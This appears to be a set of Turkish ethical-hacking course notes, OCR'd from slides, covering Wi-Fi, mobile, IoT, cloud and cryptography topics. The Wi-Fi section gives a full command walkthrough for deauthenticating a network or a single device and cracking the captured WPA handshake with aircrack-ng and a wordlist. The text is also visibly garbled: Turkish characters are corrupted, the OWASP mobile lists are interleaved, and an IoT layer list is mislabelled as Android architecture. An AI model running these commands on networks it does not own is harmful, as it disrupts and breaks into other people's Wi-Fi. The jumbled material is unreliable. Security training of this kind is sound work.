Acik wireless aglarini tespit edebilmek icin gelistirilmis yontemler;
- WarWalking: Acik aglari tespit etmek icin etrafta yiriyerek dolasmak.
- WarChalking: Acik kablosuz aglarin reklamini yapmak icin semboller ve isaretler kullanmak
- WarFlying: Dronlari kullanarak agik kablosuz algilama
- WarDriving: Agik kablosuz aglari tespit etmek icin etrafta aragla dolagmak

Wi-Fi Tehditleri

Erisim kontrol saldirisi: Yetkisiz bir aga erisim elde eden saldirganlar.

Bitiinlik ve gizlilik saldirilari: Saldirganlar, mesru kullanicilarin aga erismesini engeller.

Kimlik dogrulama saldirilari: Saldirgan, agin mesru kullanicilarini taklit etmeye ¢alisir.

Rogue Access: Saldirganlar, ayni konumdaki mevcut ve mesru bir SSID ile ayni SSID ile bir hileli erisim noktasi baslatarak, aga ve
mevcut trafige erisim saglamaya calisir.

istemci yanlis iliskilendirme: Mesru olanlarin kullanici cihazlarindaki otomatik baglanti ayarindan yararlanacag ve iretilen trafigi
yakalayacagi alanlarin disinda sahte sahte bir erisim noktasi yerlestirmek.

Yanlis yapilandirilmis erisim noktasi saldirilari: Saldirganlar, cihazdaki yanlhs yapilandirmalardan yararlanarak mevcut erisim
noktalarina erisim elde eder.

Yetkisiz iliskilendirme: Bir kullanicinin troyanize edilmis bilgisayar saldirganin 6zel aglara baglanmasina izin verilebilir.

Ad-hoc baglanti saldirilari: Ad-hoc baglantilar, saldirganlarin bunlardan yararlanmasini miimkin kilan giigli kimlik dogrulama ve
sifreleme saglamadiklari igin giivensiz olma egilimindedir.

Jamming Saldirilari: Sadece bir parazit sinyali yayarak, bir sinyal bozucu saldirgan kablosuz bir kanaldaki iletisimi etkin bir sekilde
engelleyebilir, normal galismayi kesintiye ugratabilir, performans sorunlarina neden olabilir ve hatta kontrol sistemine zarar
verebilir.

Hacking Wireless Network — Uygulama
ihtiyaclar;
- Harici Wi-Fi anteni
* Laptop Antenleri Monitér Moda sahip degildir!
- Airmon-ng
- Airodump-ng

ADIM 1 - ifconfig
- Adaptorimi bagladiktan sonra komut satirinda root olarak “ifconfig” komutu ¢ahstirilir.

ADIM 2 — Wifi Kullaniliyorsa Kapatmak

- Komut satirina root olarak “airmon-ng check kill” komutu yazilir.

- Neden kapatiyorum? Clinkii monitér moda ¢ekecegim. Normal galistig haliyle anteni kullanamam. Bundan dolayi ilk yapilan is
wireless’in kapatiimasidir.
ADIM 3 — Anteni Monitér Moda Gegirmek

- Komut satirinda root olarak “sudo ip link set wlan0 down” komutu calisitirilir, ardindan;

- Komut satirinda root olarak “sudo iw dev wlan0 set type monitor” komutu calistirilir.

- Komut satirinda root olarak “sudo ip link set wlan0 up” komutu galistirilarak adaptor tekrar aktif hale gelir.

* ip ve iw komutlari yoksa bunlari yiklememiz gerekir.
ADIM 4 — Injection Calisiyor mu Test Etmek

- Komut satirina “aireplay-ng -9 wlan0” yazilarak, etraftaki aglara enjeksiyon yapabilir miyim diye yalnizca bunu test ediyorum.
ADIM 5 — wlan0 Monitor Modda Baslatilacak

- Komut satirina root olarak “airmon-ng start wlan0” komutu calistirilir. (monitor modda mi diye kontrol edilir.)

- Burada adaptorimiz igcin “monitor mode already enabled” yazisini goriirsek, adaptériimiziin monitor modda oldugunu
anlariz.




ADIM 6 — Cevredeki Wi-Fi’leri Tespit Etme
- Komut satirina root olarak “airodump-ng wlan0” komutu galistirilir.
ADIM 7 — Hedef AP MAC Adresi Alinir
- Komut satirinda root olarak “airodump-ng -c 2 —bssid X:X:X:X:X:X -w furkanSaldiri” komutu calistirilir.
ADIM 8 — Yeni bir terminal acip, hedefin baglantisini diisiirmek ()
- Komut satirinda root olarak “aireplay-ng -0 50 -a 3C:46:D8:96:D3:7D wlan0” komutu c¢alistirilir. Burada tiim ag dusaralir.
- Sadece belirli bir kisinin cihazini disiirmek istersek “aireplay-ng --deauth 10000 -a [AG MAC] -c [CIHAZ MAC] wlan0”
komutunu kullanabiliriz.
ADIM 9 — Handshake Yakalandi — Decrypt Etme
- Komut satirinda “WPA Handshake: X:X:X:X:X:X"
ADIM 10 — Decrypt icin Aircrack Kullaniyoruz
- “aircrack-ng -a2 -b 3C:46:D8:96:D3:7D -w /root/password.txt /root/handshake-01.cap”
- Komutta yer alan password.txt biz de olusturabiliriz ya da hazir olarak internetten indirebiliriz.
- Kali’de var olanlari su sekilde listeleyebiliriz; “Is /usr/share/wordlist”
ADIM 11 — Monitor Modu Kapatip Network’d Normale Déndirmek
- “airmon-ng stop wlan0”
ADIM 12 — Network’li Calistirmak
- “systemctl start NetworkManager”

Module 17: Hacking Mobile Platforms

e https://owasp.ora/www-project-mobile-top-10/

Top 10 Mobile Risks - Final List 2016 Top 10 Mobile Risks - Final

« M1: Improper Platform Usage o M1: Weak Server Side Controls

o M2: Insecure Data Storage e M2: Insecure Data Storage

» M3: Insecure Communication » M3: Insufficient Transport Layer Protection '
o M4: Insecure Authentication e M4: Unintended Data Leakage

« MS5: Insufficient Cryptography « M5: Poor Authorization and Authentication

» M6: Insecure Authorization « M6: Broken Cryptography

« M7: Client Code Q:Jality

o M8: Code Tampering

» M9: Reverse Engineering

o M10: Extraneous Functionality

« M7: Client Side Injection
« M8: Security Decisions Via Untrusted Inputs
+ M9: Improper Session Handling
+ M10: Lack of Binary Protections



Mobil Saldiri Vektorleri

« Malware | Dataloss |Data Tampering | Data Exfiltration

Com. Services
Email, ActiveSync,
SMS, MMs, OTA, ...

Browser
Phone Interaction
Exploits

Baseband Preocessor

Multimedia Player
Audio / Video Data

Operating System
GUI, Sandbox, ...

3rd Party Apps

Malicious Software
Weaknesses

User

Remote Management
Configuration

Mobil Zafiyet ve Riskler
- Malicious third-party applications
- Malicious applications on Store
- Malware and rootkits
- Application vulnerabilities
- Data security
- Excessive permission
- Weak encryption
- Operative system updates issues
- Jailbreak and rooting
- Physical attacks

Wireless Interfaces
GPRS, Bluetooth, NFC, ...

Storage Cards
SIM

HW Interfaces
JTAG, Bus Systems, ...

Memory
Flash, Ramdisk

Firmware
Boot Loader, Jailbreak

UsB
Modem, Low Level Access

Application Sandbox Issue-

Mobile Spam and Phishing

Open Wi-Fi and Bluetooth Networks
Hacking Android OS

Device Administration API

Root Access / Android Rooting

iOS Jailbreak

Windows Phone / Blackberry Hack
MDM



Android Architecture

System Apps

Dialer Calendar Camera

Java API| Framework

Managers
Content Providers
Activity Location Package Notification

View System Resource Telephony Window

Native C/C++ Libraries

OpenMAX AL Android Runtime (ART)

Media Framework OpenGL ES .. Core Libraries

Hardware Abstraction Layer (HAL)

Bluetooth Camera Sensors

Linux Kernel

Drivers

Binder (IPC) Display

Bluetooth Camera

Shared Memory

Power Management




Module 18: loT Hacking

Geleneksel 10T Saldiri Teknikleri
- Lack of Security
- Vulnerable Interface
- Physical Security Risk
- Lack of Vendor Support
- Difficulties to Update Frimware and OS
- Interoperability Issues

Android Mimarisi
- Application Layer
- Middleware Layer
- Internet Layer
- Access Gateway Layer
- Edge Technology Layer

Weak, Guessable, or Hardcoded Passwords

Use of easily bruteforced, publicly available, or unchangeable credentials, including
backdoors in firmware or client software that grants unauthorized access to deployed
systems.

s v v off

Insecure Network Services

Unneeded or insecure network services running on the device itself, especially those
exposed to the internet, that compromise the confidentiality, integrity/authenticity, or
availability of information or allow unauthorized remote control...

Insecure Ecosystem Interfaces

Insecure web, backend API, cloud, or mobile interfaces in the ecosystem outside of the
device that allows compromise of the device or its related components. Common issues
include a lack of authentication/authorization, lacking or weak encryption, and a lack of
input and output filtering.

Lack of Secure Update Mechanism

Lack of ability to securely update the device. This includes lack of firmware validation on
device, lack of secure delivery (un-encrypted in transit), lack of anti-rollback mechanisms,
and lack of notifications of security changes due to updates.

Use of Insecure or Outdated Components

Use of deprecated or insecure software components/libraries that could allow the device to be
compromised. This includes insecure customization of operating system platforms, and 2
the use of third-party software or hardware components from a compromised supply chain.

Insufficient Privacy Protection
User's personal information stored on the device or in the ecosystem that is used insecurely,
improperly, or without permission.

Insecure Data Transfer and Storage
Lack of encryption or access control of sensitive data anywhere within the ecosystem,
including at rest, in transit, or during processing,

Lack of Device Management = (i ]
Lack of security support on devices deployed in production, including asset management,

update management, secure decommissioning, systems monitoring, and response

capabilities.

Insecure Default Settings
Devices or systems shipped with insecure default settings or lack the ability to make the
system more secure by restricting operators from modifying configurations.

Lack of Physical Hardening
Lack of physical hardening measures, allowing potential attackers to gain sensitive
information that can help in a future remote attack or take local control of the device.




Genel loT Atak Alanlari;

- Device memory containing credentials - Confidentiality and integrity issue
- Access control - Cloud computing attacks

- Firmware extraction - Malicious updates

- Privileges escalation - Insecure APIs

- Resetting to an insecure state - Mobile Application threats

- Removal of storage media

- Web Attack

- Firmware Attack
- Network services attacks
- Unencrypted local data storage

loT Ataklari;
- DDoS Attack - Forget malicious devices
- Rolling code attacks - Side-channel attack
- BlueBorne attacks - Ransomware attack
- Backdoors
- Eavesdropping
- Sybil attack
- Exploit kits
- MitM attacks
- Replay attacks

Module 19: Cloud Computing

Cloud Servis Cesitleri

- SaaS (Software as a Service)
- PaaS (Platform as a Service)

- laas (Infrastructure as a Service)
- Faa$S (Function as a Service)

(0]
@
®
@

On-Premises laaS PaaS SaaS

Infrastructure as a Service Platform as a Service Software as a Service

Applications Applications Applications Applications

Data

Runtime

Middleware Middleware Middleware Middleware

O/s o/s o/s 0/s

Virtualization Virtualization Virtualization Virtualization

Servers Servers Servers

Storage Storage Storage Storage

Networking Networking Networking Networking

Servers



Service
Intermediation

Service

Aggregation

Privacy
Impact Audit
Performance

Audit

Module 20: Cryptography

Simetrik Sifreleme

* Symmetric Cryptography

Secret Same Key Secret
Key Key

A4Sh*L@9.
T6=#/>B#1

Decryption

RO6/J2.>1L
1PRL39P20

Plain Text Cipher Text Plain Text



Asimetrik Sifreleme

« Asymmetric Cryptography

Public Different Keys Secret

Key Key
A4Sh*L@9. :'B
T6=#/>B#1 ,
ecryption
R06/)2.>1L
1PRL39P20

Plain Text Cipher Text Plain Text



